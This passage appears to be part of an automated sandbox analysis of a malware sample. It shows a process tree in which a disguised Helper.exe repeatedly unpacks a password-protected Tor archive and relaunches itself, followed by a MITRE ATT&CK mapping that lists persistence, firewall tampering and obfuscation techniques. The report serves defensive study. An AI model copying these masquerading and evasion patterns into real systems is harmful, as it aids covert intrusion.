    3⤵
    PID:2240
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:2812
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:5064
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:4340
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:4752
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:4316
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:2396

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck
1⤵
PID:4760
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck16549
  2⤵
  PID:6000

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck
1⤵
PID:5700
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck16549
  2⤵
  PID:5864

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck
1⤵
PID:5696
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck16549
  2⤵
  PID:5544

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck
1⤵
PID:1244
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck16549
  2⤵
  PID:4520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact